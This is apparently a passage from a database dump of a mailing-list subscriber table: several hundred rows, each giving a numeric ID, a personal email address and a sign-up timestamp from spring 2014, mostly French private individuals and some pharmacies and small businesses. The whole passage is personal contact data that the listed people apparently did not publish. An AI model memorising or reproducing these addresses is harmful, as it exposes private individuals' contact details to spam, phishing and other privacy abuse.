+2872;mvacher1980@gmail.com;2014-03-22 19:00:29; ; ;0 +2873;mjamiant@orange.fr;2014-03-22 19:22:52; ; ;0 +2874;ilhamriffi@hotmail.fr;2014-03-22 19:56:16; ; ;0 +2875;ibruere_dawson@hotmail.com;2014-03-22 19:56:49; ; ;0 +2876;chanelphilippon@orange.fr;2014-03-22 20:47:50; ; ;0 +2877;lydie.gerdan74@orange.fr;2014-03-22 23:47:16; ; ;0 +2878;anais-dumontier@hotmail.fr;2014-03-23 01:36:04; ; ;0 +2879;annick.molle@gmail.com;2014-03-23 09:45:28; ; ;0 +2880;bernier_florence@hotmail.com;2014-03-23 11:55:09; ; ;0 +2881;mfboulle@yahoo.fr;2014-03-23 14:25:52; ; ;0 +2882;laure.plaquin@gmail.com;2014-03-23 14:53:44; ; ;0 +2883;erika20260@yahoo.fr;2014-03-23 15:07:51; ; ;0 +2884;fanny.le-goff@wanadoo.fr;2014-03-23 15:13:54; ; ;0 +2885;pharmacie.tremblin.lecoq@orange.fr;2014-03-23 18:57:11; ; ;0 +2886;nitroceline@orange.fr;2014-03-23 19:08:34; ; ;0 +2887;mcdevoyon@yahoo.fr;2014-03-23 20:06:58; ; ;0 +2888;boujotcarine@orange.fr;2014-03-23 21:40:58; ; ;0 +2889;anne_sophie.remacle@yahoo.fr;2014-03-23 21:53:50; ; ;0 +2891;duchaffaut_e@yahoo.fr;2014-03-23 22:41:17; ; ;0 +2892;MORGANE.DEMERSEMAN@GMAIL.COM;2014-03-24 09:25:27; ; ;0 +2893;lescoquetteriesdemiss@gmail.com;2014-03-24 10:00:18; ; ;0 +2894;converset.nadege@gmail.com;2014-03-24 10:17:16; ; ;0 +2895;aurore3195@yahoo.fr;2014-03-24 11:21:56; ; ;0 +2896;lemairesylvie@yahoo.fr;2014-03-24 11:51:10; ; ;0 +2897;absynthea@hotmail.fr;2014-03-24 12:24:06; ; ;0 +2898;marion.tichadou@gmail.com;2014-03-24 13:03:44; ; ;0 +2899;catherine.dazy@gmail.com;2014-03-24 14:04:36; ; ;0 +2900;familynord59@gmail.com;2014-03-24 14:34:55; ; ;0 +2901;marl135a@hotmail.fr;2014-03-24 15:25:17; ; ;0 +2903;laurence.paoli@laposte.net;2014-03-24 17:03:22; ; ;0 +2904;marypop91086@hotmail.com;2014-03-24 17:24:39; ; ;0 +2905;mr_tshirt@hotmail.com;2014-03-24 18:10:32; ; ;0 +2906;pauline.bezes@wanadoo.fr;2014-03-24 18:31:31; ; ;0 +2907;pharmaciecigognes@gmail.com;2014-03-24 18:31:40; ; ;0 +2908;dvqtl@neuf.fr;2014-03-24 20:45:54; ; ;0 +2909;misscarolo@hotmail.fr;2014-03-25 00:09:02; ; ;0 +2910;mbeyer@roederer.fr;2014-03-25 09:15:12; ; ;0 +2911;odreytitloup@hotmail.fr;2014-03-25 10:05:24; ; ;0 +2912;pascaline6@yahoo.fr;2014-03-25 10:07:10; ; ;0 +2913;pathylene.lm@gmail.com;2014-03-25 11:23:24; ; ;0 +2914;pharmaciedelanationale@perso.gipharnet.com;2014-03-25 11:40:26; ; ;0 +2915;dccecile@hotmail.fr;2014-03-25 14:13:48; ; ;0 +2916;annelise.fresnet@orange.fr;2014-03-25 14:40:02; ; ;0 +2917;chris.t.2304@gmail.com;2014-03-25 15:18:01; ; ;0 +2918;vidalmarja@yahoo.fr;2014-03-25 16:09:54; ; ;0 +2919;andreajovanovitch@yahoo.com.br;2014-03-25 16:18:46; ; ;0 +2920;sophietarre@yahoo.fr;2014-03-25 18:49:51; ; ;0 +2921;julie_bernault@hotmail.com;2014-03-25 19:53:42; ; ;0 +2922;lilia.taktak@gmail.com;2014-03-25 20:02:44; ; ;0 +2923;legall.sonia@yahoo.fr;2014-03-25 21:59:44; ; ;0 +2924;boterel66@gmail.com;2014-03-26 08:49:47; ; ;0 +2925;marine.santini@gmail.com;2014-03-26 09:48:28; ; ;0 +2926;benedicte.barrois@hotmail.fr;2014-03-26 10:09:31; ; ;0 +2927;pharmacie.madeleine@offisecure.com;2014-03-26 10:12:07; ; ;0 +2928;vrfavre@gmail.com;2014-03-26 10:25:45; ; ;0 +2929;rozenn.barrois@sederma.fr;2014-03-26 11:11:30; ; ;0 +2930;ncibois@hotmail.fr;2014-03-26 12:50:41; ; ;0 +2931;mayer.delphine@hotmail.fr;2014-03-26 13:18:36; ; ;0 +2932;nathalie.flament80@orange.fr;2014-03-26 18:10:04; ; ;0 +2933;anays_du76@hotmail.fr;2014-03-26 21:25:04; ; ;0 +2935;devilliers.marieclaire@outlook.fr;2014-03-26 21:59:53; ; ;0 +2936;ouahibam@gmail.com;2014-03-26 22:46:57; ; ;0 +2937;nellydoucet@neuf.fr;2014-03-26 23:52:22; ; ;0 +2938;ng3483@gmail.com;2014-03-27 07:48:08; ; ;0 +2939;mb.degroote@orange.fr;2014-03-27 13:59:56; ; ;0 +2940;sarahleguiffant@sfr.fr;2014-03-27 14:01:39; ; ;0 +2941;lea.haudiquet@gmail.com;2014-03-27 14:35:40; ; ;0 +2942;just.solenne@gmail.com;2014-03-27 15:53:59; ; ;0 +2943;guillot.solene@gmail.com;2014-03-27 15:54:25; ; ;0 +2944;salou.chris@orange.fr;2014-03-27 16:10:43; ; ;0 +2945;bataillecaroline7@gmail.com;2014-03-27 17:11:38; ; ;0 +2946;mariaricco@hotmail.com;2014-03-27 18:32:53; ; ;0 +2947;mlpleuron@hotmail.fr;2014-03-27 19:23:45; ; ;0 +2948;vivickyn@gmail.com;2014-03-27 20:07:35; ; ;0 +2949;dandydubai@gmail.com;2014-03-27 22:04:45; ; ;0 +2950;ele6678@hotmail.fr;2014-03-28 00:19:32; ; ;0 +2951;joelafada@hotmail.fr;2014-03-28 09:17:22; ; ;0 +2952;m.canevet@beaute-directe.fr;2014-03-28 10:45:54; ; ;0 +2953;isfah.nara@gmail.com;2014-03-28 11:03:34; ; ;0 +2954;camilleblouin@gmail.com;2014-03-28 11:26:26; ; ;0 +2955;sandrine.urcun@neuf.fr;2014-03-28 13:05:01; ; ;0 +2956;elf24@live.fr;2014-03-28 16:16:25; ; ;0 +2957;christelleandrevie@hotmail.com;2014-03-28 17:01:52; ; ;0 +2958;aur.vacher@gmail.com;2014-03-28 17:20:27; ; ;0 +2960;cecile.gontard@gmail.com;2014-03-28 18:35:29; ; ;0 +2961;pilpous29@sfr.fr;2014-03-28 21:32:24; ; ;0 +2962;yveline-sam@hotmail.fr;2014-03-28 22:11:07; ; ;0 +2963;hounsounoutoto@yahoo.fr;2014-03-29 11:34:27; ; ;0 +2964;tinyfroggy@hotmail.fr;2014-03-29 11:54:14; ; ;0 +2965;myr_blackmagic@hotmail.com;2014-03-29 13:48:48; ; ;0 +2966;brigitte.foiratier@live.fr;2014-03-29 15:18:46; ; ;0 +2967;gersende.bessede@gmail.com;2014-03-29 16:29:17; ; ;0 +2968;sarda.marie-ange@wanadoo.fr;2014-03-30 12:11:23; ; ;0 +2969;jcouprie@gmail.com;2014-03-30 12:54:59; ; ;0 +2970;p.mong228@gmail.com;2014-03-30 20:25:51; ; ;0 +2971;faustine.grange@orange.fr;2014-03-30 20:58:49; ; ;0 +2972;p.zouari@orange.fr;2014-03-30 22:32:46; ; ;0 +2973;l.atiatia10@hotmail.fr;2014-03-30 23:16:19; ; ;0 +2974;sevegnac@orange.fr;2014-03-31 04:39:58; ; ;0 +2975;monfortanne0@gmail.com;2014-03-31 09:01:12; ; ;0 +2976;daviddecroyere@yahoo.fr;2014-03-31 13:46:00; ; ;0 +2977;emilie.hoenen@gmail.com;2014-03-31 19:25:19; ; ;0 +2978;eleonore75@msn.com;2014-03-31 19:37:58; ; ;0 +2979;vblanquet@9online.fr;2014-04-01 08:23:10; ; ;0 +2980;bouhallier_aude@yahoo.fr;2014-04-01 11:20:11; ; ;0 +2981;corinbismuth@gmail.com;2014-04-01 16:55:44; ; ;0 +2982;julielamontagne31@hotmail.com;2014-04-01 17:58:09; ; ;0 +2983;maudsarahmichel@hotmail.fr;2014-04-01 18:48:02; ; ;0 +2984;elvire.briffaut@wanadoo.fr;2014-04-01 19:46:12; ; ;0 +2985;hibou1979@hotmail.fr;2014-04-01 21:35:05; ; ;0 +2986;amelie.mtp@gmail.com;2014-04-02 02:20:09; ; ;0 +2987;david.boyer849@orange.fr;2014-04-02 10:10:40; ; ;0 +2988;divine_freya@hotmail.com;2014-04-02 19:20:07; ; ;0 +2989;christel.bouton@sfr.fr;2014-04-03 02:05:52; ; ;0 +2990;eternal_world@hotmail.fr;2014-04-03 09:59:19; ; ;0 +2991;claude.dassonval@orange.fr;2014-04-03 15:42:08; ; ;0 +2994;sonia.studler@yahoo.fr;2014-04-04 09:45:10; ; ;0 +2995;ednalevy21@hotmail.com;2014-04-04 22:30:50; ; ;0 +2996;iedith2001@yahoo.fr;2014-04-05 02:04:36; ; ;0 +2997;mbyster@live.fr;2014-04-05 09:21:24; ; ;0 +2998;salson.florence@orange.fr;2014-04-05 10:32:11; ; ;0 +2999;josephsarah74@gmail.com;2014-04-05 14:49:03; ; ;0 +3000;marine77kyo@hotmail.com;2014-04-05 23:18:13; ; ;0 +3001;atalia83@orange.fr;2014-04-06 16:28:32; ; ;0 +3002;laure.migaud@laposte.net;2014-04-06 21:51:38; ; ;0 +3003;valerie_cazaux33@yahoo.fr;2014-04-06 21:59:34; ; ;0 +3004;bmartinbardier@free.fr;2014-04-06 23:02:08; ; ;0 +3005;ju_ju20@hotmail.com;2014-04-06 23:27:42; ; ;0 +3006;maelennsallic@yahoo.fr;2014-04-06 23:46:49; ; ;0 +3007;noune91@me.com;2014-04-07 08:49:18; ; ;0 +3008;jpsmith03@gmail.com;2014-04-07 10:46:54; ; ;0 +3009;jean-luc.mathieu3@wanadoo.fr;2014-04-07 18:38:42; ; ;0 +3010;fatiha.srhir@sfr.fr;2014-04-07 22:03:06; ; ;0 +3011;janet024@hotmail.fr;2014-04-08 13:44:50; ; ;0 +3012;gaelleseignez@gmail.com;2014-04-08 14:34:15; ; ;0 +3013;francoise.bryer@sfr.fr;2014-04-08 14:43:54; ; ;0 +3014;clemence_soumoy@yahoo.fr;2014-04-09 10:22:17; ; ;0 +3015;coco.rey@laposte.net;2014-04-09 11:12:22; ; ;0 +3016;sylviepenning@hotmail.fr;2014-04-09 16:16:01; ; ;0 +3017;sophie-m.petit@laposte.net;2014-04-09 17:27:52; ; ;0 +3018;lauriecanel@hotmail.fr;2014-04-09 22:27:34; ; ;0 +3019;shyniz33@hotmail.fr;2014-04-10 00:08:47; ; ;0 +3020;laurence.inguimbert@laposte.net;2014-04-10 13:58:38; ; ;0 +3021;pharmacie-clos-montesquieu@orange.fr;2014-04-10 18:23:10; ; ;0 +3022;cawalch@laposte.net;2014-04-10 20:04:16; ; ;0 +3023;ktyglaizal@hotmail.fr;2014-04-10 20:34:36; ; ;0 +3024;redsibylline@hotmail.com;2014-04-11 16:17:45; ; ;0 +3025;anne.dubouix@gmail.com;2014-04-11 17:53:06; ; ;0 +3026;dpce@laposte.net;2014-04-12 11:51:19; ; ;0 +3027;iwona.szpack@gmail.com;2014-04-12 21:38:06; ; ;0 +3028;david.59100@hotmail.fr;2014-04-13 11:02:02; ; ;0 +3029;frederiquedesvalois87@gmail.com;2014-04-13 14:37:08; ; ;0 +3030;alicelivia2a@gmail.com;2014-04-13 19:12:19; ; ;0 +3031;agnes.rodier@hotmail.fr;2014-04-14 11:15:24; ; ;0 +3032;mayouto@hotmail.fr;2014-04-14 15:39:53; ; ;0 +3033;kiwi1155@yahoo.fr;2014-04-14 15:43:32; ; ;0 +3034;s.tattegrain@free.fr;2014-04-14 20:41:24; ; ;0 +3035;carre.celine@live.fr;2014-04-15 11:54:40; ; ;0 +3036;nathalie.coste348@orange.fr;2014-04-15 19:04:16; ; ;0 +3037;cecilhat@wanadoo.fr;2014-04-15 22:01:55; ; ;0 +3038;poupouille_chloe@hotmail.fr;2014-04-15 23:24:56; ; ;0 +3039;nicoleherrewyn@wanadoo.fr;2014-04-16 16:41:18; ; ;0 +3040;lehila.merir@hotmail.fr;2014-04-16 22:48:00; ; ;0 +3041;l_indienne57@hotmail.com;2014-04-17 03:42:56; ; ;0 +3042;maite.popinet@loccitane.com;2014-04-17 11:40:14; ; ;0 +3043;frederiqueclement@sfr.fr;2014-04-17 13:04:32; ; ;0 +3044;lrlolita@aol.com;2014-04-17 15:10:03; ; ;0 +3045;dlecoz@me.com;2014-04-18 00:14:12; ; ;0 +3047;nadine.coyaud@bbox.fr;2014-04-18 14:39:08; ; ;0 +3048;jeanine.arnaud004@orange.fr;2014-04-18 14:39:35; ; ;0 +3049;samia948000@yahoo.fr;2014-04-18 14:39:43; ; ;0 +3051;sophie.tirand@free.fr;2014-04-18 14:40:00; ; ;0 +3052;drsmenager@gmail.com;2014-04-18 14:40:11; ; ;0 +3054;brigitte.bossard@orange.fr;2014-04-18 14:40:41; ; ;0 +3055;carolineli121@hotmail.com;2014-04-18 14:40:49; ; ;0 +3056;josephine.abad@laposte.net;2014-04-18 14:40:57; ; ;0 +3057;annabelle.martin41@sfr.fr;2014-04-18 14:41:04; ; ;0 +3058;aranytoth@gmail.com;2014-04-18 14:41:12; ; ;0 +3059;annefleur.perez@gmail.com;2014-04-18 15:54:13; ; ;0 +3060;sophie.roy0@orange.fr;2014-04-18 17:49:55; ; ;0 +3061;stephanie-fayard@live.fr;2014-04-18 18:00:07; ; ;0 +3062;ines.rigeot@gmail.com;2014-04-18 18:16:38; ; ;0 +3063;muriellebzx@orange.fr;2014-04-18 19:32:08; ; ;0 +3064;virginieverhaeghe07@gmail.com;2014-04-19 00:48:34; ; ;0 +3065;in.bouchard@laposte.net;2014-04-19 14:47:27; ; ;0 +3066;tylou@wanadoo.fr;2014-04-19 17:52:53; ; ;0 +3067;tolassyec@live.fr;2014-04-20 02:50:56; ; ;0 +3068;labbey.patrice@orange.fr;2014-04-20 08:21:52; ; ;0 +3069;annelecorre@wanadoo.fr;2014-04-20 16:45:19; ; ;0 +3070;didier.loubaney@sfr.fr;2014-04-21 11:06:23; ; ;0 +3071;ddupire@hotmail.fr;2014-04-21 12:34:08; ; ;0 +3072;sylviepezeril@live.fr;2014-04-22 08:48:31; ; ;0 +3075;rose.lefrancois@gmail.com;2014-04-22 15:18:13; ; ;0 +3077;tellvirginie@yahoo.fr;2014-04-22 17:00:15; ; ;0 +3078;embareck.edouard@neuf.fr;2014-04-23 12:56:03; ; ;0 +3079;ch.grosse@free.fr;2014-04-23 13:22:04; ; ;0 +3080;patricia.ghasemi@laposte.net;2014-04-23 16:54:22; ; ;0 +3081;pogyfabienne@free.fr;2014-04-23 18:58:41; ; ;0 +3082;christine.bazerque@laposte.net;2014-04-23 20:10:01; ; ;0 +3083;carael@free.fr;2014-04-23 21:33:53; ; ;0 +3084;alainetchristine.sicard@sfr.fr;2014-04-23 22:52:52; ; ;0 +3085;lili.jg@voila.fr;2014-04-23 22:54:36; ; ;0 +3086;catherine@phyts.com.au;2014-04-24 04:24:10; ; ;0 +3087;elisabeth.sicre@free.fr;2014-04-24 09:53:31; ; ;0 +3088;nicole.buard@neuf.fr;2014-04-24 11:15:50; ; ;0 +3089;1001basma@orange.fr;2014-04-24 11:16:01; ; ;0 +3091;priscille.paire@gmail.com;2014-04-24 16:57:23; ; ;0 +3092;lemeur.quiniou.troadec@offisecure.com;2014-04-24 17:01:10; ; ;0 +3093;michele.marani@free.fr;2014-04-24 17:52:50; ; ;0 +3094;marie-christine.juvigny@wanadoo.fr;2014-04-24 19:44:36; ; ;0 +3095;martine.marti@bluewin.ch;2014-04-24 22:53:10; ; ;0 +3096;sophie.vendange@free.fr;2014-04-25 07:26:04; ; ;0 +3097;sophie.ecuyer@live.fr;2014-04-25 14:00:56; ; ;0 +3098;foufou-kari@live.fr;2014-04-25 21:29:17; ; ;0 +3099;morjane2@outlook.fr;2014-04-25 21:29:43; ; ;0 +3100;b.michele75@yahoo.fr;2014-04-26 13:11:07; ; ;0 +3101;fanfan.maillot@free.fr;2014-04-26 14:49:30; ; ;0 +3102;silvie44600@hotmail.fr;2014-04-26 15:39:20; ; ;0 +3103;evelyne.habert@gmail.com;2014-04-26 19:52:38; ; ;0 +3104;Isabelle_massy@yahoo.fr;2014-04-26 20:08:10; ; ;0 +3105;Ka@campistron.net;2014-04-27 23:01:00; ; ;0 +3106;frederique-ligot@sfr.fr;2014-04-28 10:26:33; ; ;0 +3107;berangere.bouchard@laposte.net;2014-04-28 12:02:12; ; ;0 +3108;lea.charransol@laposte.net;2014-04-28 21:21:33; ; ;0 +3109;munari.severine@yahoo.fr;2014-04-29 07:51:51; ; ;0 +3110;eric@perceval.org;2014-04-29 14:14:44; ; ;0 +3111;chantal.satre@ac-lyon.fr;2014-04-29 15:17:56; ; ;0 +3112;andfollowme@hotmail.fr;2014-04-30 20:59:09; ; ;0 +3113;aurore.immo@live.fr;2014-05-01 12:30:21; ; ;0 +3114;dorialdr@gmail.com;2014-05-01 14:41:03; ; ;0 +3115;sylvie.tom.st@gmail.com;2014-05-01 17:01:32; ; ;0 +3116;alexandracoulon2@orange.fr;2014-05-01 19:53:48; ; ;0 +3117;emiliebessy@yahoo.fr;2014-05-02 12:56:24; ; ;0 +3118;sophie.keraudren@hotmail.fr;2014-05-02 13:55:35; ; ;0 +3119;chantal.prevot@voo.be;2014-05-02 21:27:40; ; ;0 +3120;adrienne.ingallina@sfr.fr;2014-05-03 00:06:38; ; ;0 +3121;calbrix-isabelle@orange.fr;2014-05-03 18:52:07; ; ;0 +3122;Sergierm@yahoo.fr;2014-05-04 09:45:26; ; ;0 +3123;chauveau.h@wanadoo.fr;2014-05-04 11:36:53; ; ;0 +3124;teresa_masia@hotmail.com;2014-05-04 22:23:47; ; ;0 +3125;l.andreutti@orange.fr;2014-05-05 12:39:31; ; ;0 +3126;garciadelphine@free.fr;2014-05-05 16:20:39; ; ;0 +3127;christellejezequel@gmail.com;2014-05-06 15:37:42; ; ;0 +3128;dominique@chalets-lacroix.com;2014-05-06 19:29:27; ; ;0 +3129;mayllaloup@gmail.com;2014-05-06 22:31:13; ; ;0 +3130;isabellesonet210671@gmail.com;2014-05-07 14:50:48; ; ;0 +3131;raziel03@live.fr;2014-05-08 18:29:06; ; ;0 +3132;lnm.flg@gmail.com;2014-05-08 22:49:27; ; ;0 +3133;maquii@voila.fr;2014-05-10 17:25:19; ; ;0 +3134;florenceleroy@yahoo.fr;2014-05-10 21:40:23; ; ;0 +3135;florence.benbaali@cegetel.net;2014-05-10 23:02:50; ; ;0 +3136;sardine.pomies@orange.fr;2014-05-11 14:00:17; ; ;0 +3137;marianne.boudet25@orange.fr;2014-05-12 10:39:06; ; ;0 +3138;m.petrier@gmail.com;2014-05-12 10:39:16; ; ;0 +3139;lucie_f66@hotmail.fr;2014-05-12 12:38:43; ; ;0 +3140;heurtevin.emeline@gmail.com;2014-05-12 14:30:52; ; ;0 +3141;wiatykisa@free.fr;2014-05-13 15:29:46; ; ;0 +3142;claire@galaxia.fr;2014-05-14 01:21:28; ; ;0 +3143;lysm60@gmail.com;2014-05-14 11:23:47; ; ;0 +3144;sdunand@passeportsante.net;2014-05-14 14:30:28; ; ;0 +3145;clau.filliatre@yahoo.fr;2014-05-14 15:59:38; ; ;0 +3146;herpjose@orange.fr;2014-05-14 19:51:25; ; ;0 +3147;marion-lahalle@hotmail.fr;2014-05-15 11:06:52; ; ;0 +3148;ruterdavid@gmail.com;2014-05-15 17:34:55; ; ;0 +3149;annaprovoost@hotmail.com;2014-05-15 17:59:45; ; ;0 +3150;ninielaize@hotmail.com;2014-05-15 18:13:57; ; ;0 +3151;annesophie07200@yahoo.fr;2014-05-16 12:34:20; ; ;0 +3152;valerie.trevien@orange.fr;2014-05-16 13:59:52; ; ;0 +3153;aurore.perraudin@sfr.fr;2014-05-16 14:17:17; ; ;0 +3154;damageux.sylvie@orange.fr;2014-05-16 14:43:27; ; ;0 +3155;vb42100@yahoo.fr;2014-05-16 15:36:45; ; ;0 +3156;burlet.bernadette@gmail.com;2014-05-16 22:09:37; ; ;0 +3157;myriam.roques@9online.fr;2014-05-18 10:51:23; ; ;0 +3158;newsletterbeautybrand@gmail.com;2014-05-18 15:46:20; ; ;0 +3159;noukie67@yahoo.fr;2014-05-19 10:28:59; ; ;0 +3160;florian@beautistas.com;2014-05-19 17:40:07; ; ;0 +3161;littleablog@hotmail.com;2014-05-20 12:27:46; ; ;0 +3162;mirtylle1@yahoo.fr;2014-05-21 11:37:32; ; ;0 +3163;elisefarine@msn.com;2014-05-21 11:40:18; ; ;0 +3164;sylvianelesage@wanadoo.fr;2014-05-21 11:40:25; ; ;0 +3165;pinunosss@hotmail.com;2014-05-21 11:40:27; ; ;0 +3166;Dolores2408@hotmail.fr;2014-05-21 11:40:58; ; ;0 +3167;jerom69@free.fr;2014-05-21 11:42:24; ; ;0 +3168;dombale2011@hotmail.fr;2014-05-21 11:42:38; ; ;0 +3169;jero69006@free.fr;2014-05-21 11:42:45; ; ;0 +3170;nathalie.brossel@hotmail.com;2014-05-21 11:42:51; ; ;0 +3171;virgiduha@hotmail.fr;2014-05-21 11:42:57; ; ;0 +3172;isabelledumas@laposte.net;2014-05-21 11:43:43; ; ;0 +3173;fancynamehere@gmail.com;2014-05-21 11:44:25; ; ;0 +3174;aurelie.hanut@gmail.com;2014-05-21 11:45:12; ; ;0 +3175;bhouy@rocketmail.com;2014-05-21 11:46:37; ; ;0 +3176;hillswick2@gmail.com;2014-05-21 11:48:57; ; ;0 +3177;manon.letessier@gmail.com;2014-05-21 11:49:10; ; ;0 +3178;kfor99.100834@gmail.com;2014-05-21 11:49:16; ; ;0 +3179;catherine@nougmanov.com;2014-05-21 11:49:55; ; ;0 +3180;pkohrmann@yahoo.fr;2014-05-21 11:50:27; ; ;0 +3181;elisaguichard@neuf.fr;2014-05-21 11:50:45; ; ;0 +3182;sylvielovergne@hotmail.fr;2014-05-21 11:52:37; ; ;0 +3183;flaws.and.all@hotmail.fr;2014-05-21 11:52:43; ; ;0 +3184;Gilly09@free.fr;2014-05-21 11:53:13; ; ;0 +3185;Batoul-elharake@laposte.net;2014-05-21 11:54:05; ; ;0 +3186;Columbia62@wanadoo.fr;2014-05-21 11:54:12; ; ;0 +3187;pngahinet@gmail.com;2014-05-21 11:54:59; ; ;0 +3188;MAACCHE@HOTMAIL.FR;2014-05-21 11:55:21; ; ;0 +3189;memphis_may_fire@outlook.fr;2014-05-21 11:55:27; ; ;0 +3190;ANGEL7262@HOTMAIL.FR;2014-05-21 11:55:35; ; ;0 +3191;Aurelierusig@gmail.com;2014-05-21 11:57:21; ; ;0 +3192;salyy_@hotmail.fr;2014-05-21 11:57:30; ; ;0 +3193;maline.sa@sfr.fr;2014-05-21 11:57:57; ; ;0 +3194;lostri@hotmail.fr;2014-05-21 11:58:32; ; ;0 +3195;cozickatell@orange.fr;2014-05-21 11:58:55; ; ;0 +3196;lucile.coulomb@hotmail.fr;2014-05-21 11:59:12; ; ;0 +3197;mgrebot@hotmail.fr;2014-05-21 11:59:35; ; ;0 +3198;cattleya_63@hotmail.com;2014-05-21 12:00:38; ; ;0 +3199;lemaolaurence@yahoo.fr;2014-05-21 12:04:10; ; ;0 +3200;stephanie.le.bronnec@gmail.com;2014-05-21 12:05:40; ; ;0 +3201;richard.jacques31@sfr.fr;2014-05-21 12:09:06; ; ;0 +3203;mathilde.p-r@hotmail.fr;2014-05-21 12:12:35; ; ;0 +3204;erikar057@aol.com;2014-05-21 12:14:57; ; ;0 +3205;Hanenejemili@hotmail.com;2014-05-21 12:21:06; ; ;0 +3206;imuhara@hotmail.com;2014-05-21 12:22:43; ; ;0 +3207;aurelie.avon@orange.fr;2014-05-21 12:25:29; ; ;0 +3208;mimi3631@hotmail.fr;2014-05-21 12:27:30; ; ;0 +3209;segolenepanaget@gmail.com;2014-05-21 12:30:30; ; ;0 +3210;audreypissard@orange.fr;2014-05-21 12:33:13; ; ;0 +3211;nat.bar@voila.fr;2014-05-21 12:38:59; ; ;0 +3212;angeliquelesiak9@gmail.com;2014-05-21 12:46:59; ; ;0 +3213;ninie10160@hotmail.fr;2014-05-21 12:47:27; ; ;0 +3214;mlle.0cei@live.fr;2014-05-21 12:50:01; ; ;0 +3215;elodien_7@hotmail.com;2014-05-21 12:56:26; ; ;0 +3216;niepceron_elodie@yahoo.fr;2014-05-21 12:56:48; ; ;0 +3217;laceandwhiskey.blog@gmail.com;2014-05-21 13:00:33; ; ;0 +3218;pkaiser@sfr.fr;2014-05-21 13:04:27; ; ;0 +3219;annelyse.mercier0107@gmail.com;2014-05-21 13:14:15; ; ;0 +3220;saphir60@hotmail.fr;2014-05-21 13:21:09; ; ;0 +3221;jojovape@gmail.com;2014-05-21 13:23:12; ; ;0 +3222;Alexine23@hotmail.fr;2014-05-21 13:25:27; ; ;0 +3223;didine-43@hotmail.fr;2014-05-21 13:29:04; ; ;0 +3224;sophie2476@hotmail.com;2014-05-21 13:32:34; ; ;0 +3225;Arn.deryckere@orange.fr;2014-05-21 13:34:01; ; ;0 +3226;doriane.buffat@gmail.com;2014-05-21 13:35:32; ; ;0 +3227;hogard.laura@gmail.com;2014-05-21 13:37:44; ; ;0 +3228;melanie.lgall@gmail.com;2014-05-21 13:43:04; ; ;0 +3229;anne.maren@neuf.fr;2014-05-21 13:53:51; ; ;0 +3230;carollemiranda@hotmail.fr;2014-05-21 14:07:34; ; ;0 +3231;elodiemillet10@yahoo.fr;2014-05-21 14:11:31; ; ;0 +3232;sandra.toto@wanadoo.fr;2014-05-21 14:15:54; ; ;0 +3233;lombardo974@hotmail.fr;2014-05-21 14:24:34; ; ;0 +3234;skpegase@yahoo.fr;2014-05-21 14:29:04; ; ;0 +3235;marie4288@hotmail.fr;2014-05-21 14:34:13; ; ;0 +3236;Sandragem@hotmail.fr;2014-05-21 14:54:54; ; ;0 +3237;raph91220@live.fr;2014-05-21 14:56:44; ; ;0 +3238;esther.moroni@laposte.net;2014-05-21 15:07:13; ; ;0 +3239;c.blanquart0@laposte.net;2014-05-21 15:10:52; ; ;0 +3240;virginie@easyparapharmacie.com;2014-05-21 15:14:06; ; ;0 +3241;zh.damon@gmail.com;2014-05-21 15:14:27; ; ;0 +3242;marie-pierre.berthod@laposte.net;2014-05-21 15:23:39; ; ;0 +3243;domialaize@me.com;2014-05-21 15:23:53; ; ;0 +3244;lasheras.laeticia@orange.fr;2014-05-21 15:35:38; ; ;0 +3245;val444@aliceadsl.fr;2014-05-21 15:36:26; ; ;0 +3246;s.marras@neopost.fr;2014-05-21 15:39:58; ; ;0 +3247;nath_spoun@hotmail.com;2014-05-21 15:40:56; ; ;0 +3248;regine.devos@orange.fr;2014-05-21 15:42:45; ; ;0 +3249;ami143@hotmail.fr;2014-05-21 15:44:16; ; ;0 +3250;romy.vandepoorter@gmail.com;2014-05-21 15:53:56; ; ;0 +3251;alex.frnbdt@gmail.com;2014-05-21 16:03:54; ; ;0 +3252;lesparcsdelasauze@hotmail.fr;2014-05-21 16:04:00; ; ;0 +3253;elisefarine@orange.fr;2014-05-21 16:04:04; ; ;0 +3254;liliebonie@gmail.com;2014-05-21 16:04:14; ; ;0 +3255;bertranddupont90@gmail.com;2014-05-21 16:05:56; ; ;0 +3256;yoseverine59@msn.com;2014-05-21 16:07:14; ; ;0 +3257;sandrablach@yahoo.fr;2014-05-21 16:09:48; ; ;0 +3258;miel.veronique14@gmail.com;2014-05-21 17:06:25; ; ;0 +3259;doudoumag@hotmail.fr;2014-05-21 17:07:53; ; ;0 +3260;mademoisellemaissa@hotmail.fr;2014-05-21 17:13:01; ; ;0 +3261;oliviaa-lefebvre@hotmail.fr;2014-05-21 17:16:31; ; ;0 +3262;yora2004@wanadoo.fr;2014-05-21 17:20:33; ; ;0 +3263;cgwend@hotmail.fr;2014-05-21 17:28:40; ; ;0 +3265;melanie.courtinat@gmail.com;2014-05-21 17:54:44; ; ;0 +3266;xco71@yahoo.fr;2014-05-21 18:00:52; ; ;0 +3267;vero.largeron@gmail.com;2014-05-21 18:25:39; ; ;0 +3268;littlefairy_angel@yahoo.fr;2014-05-21 19:06:32; ; ;0 +3269;petillante51@gmail.com;2014-05-21 19:07:47; ; ;0 +3270;marine.jaeckel@yahoo.fr;2014-05-21 19:30:22; ; ;0 +3271;cestmonavis@live.fr;2014-05-21 20:17:55; ; ;0 +3272;misscupcakestrawberry@gmail.com;2014-05-21 20:24:34; ; ;0 +3273;v.poss@wanadoo.fr;2014-05-21 20:30:24; ; ;0 +3274;Nath2711@hotmail.com;2014-05-21 20:38:01; ; ;0 +3275;alice.lemal@sfr.fr;2014-05-21 20:45:06; ; ;0 +3276;amelie.boisteux@laposte.net;2014-05-21 20:46:35; ; ;0 +3277;anne14_01@hotmail.com;2014-05-21 21:42:23; ; ;0 +3278;yoyoetpascaline@live.fr;2014-05-21 21:54:09; ; ;0 +3279;camillelequeux@hotmail.fr;2014-05-21 22:04:28; ; ;0 +3280;lethien.e@live.fr;2014-05-21 22:28:35; ; ;0 +3281;Myriam.reynaud-cleyet@grainedepastel.com;2014-05-21 22:34:39; ; ;0 +3282;stefrouhling@orange.fr;2014-05-21 22:38:36; ; ;0 +3283;danjouludivine@yahoo.fr;2014-05-21 23:00:43; ; ;0 +3284;Guillard.vanessa@bbox.fr;2014-05-21 23:15:04; ; ;0 +3285;delbourglisa@orange.fr;2014-05-21 23:21:00; ; ;0 +3286;estell4@hotmail.fr;2014-05-21 23:27:05; ; ;0 +3287;ophelieruiz@neuf.fr;2014-05-22 00:22:03; ; ;0 +3288;bernhardt.sarah@hotmail.fr;2014-05-22 00:28:35; ; ;0 +3289;olyanicole@hotmail.fr;2014-05-22 00:30:32; ; ;0 +3290;trottetberenice@orange.fr;2014-05-22 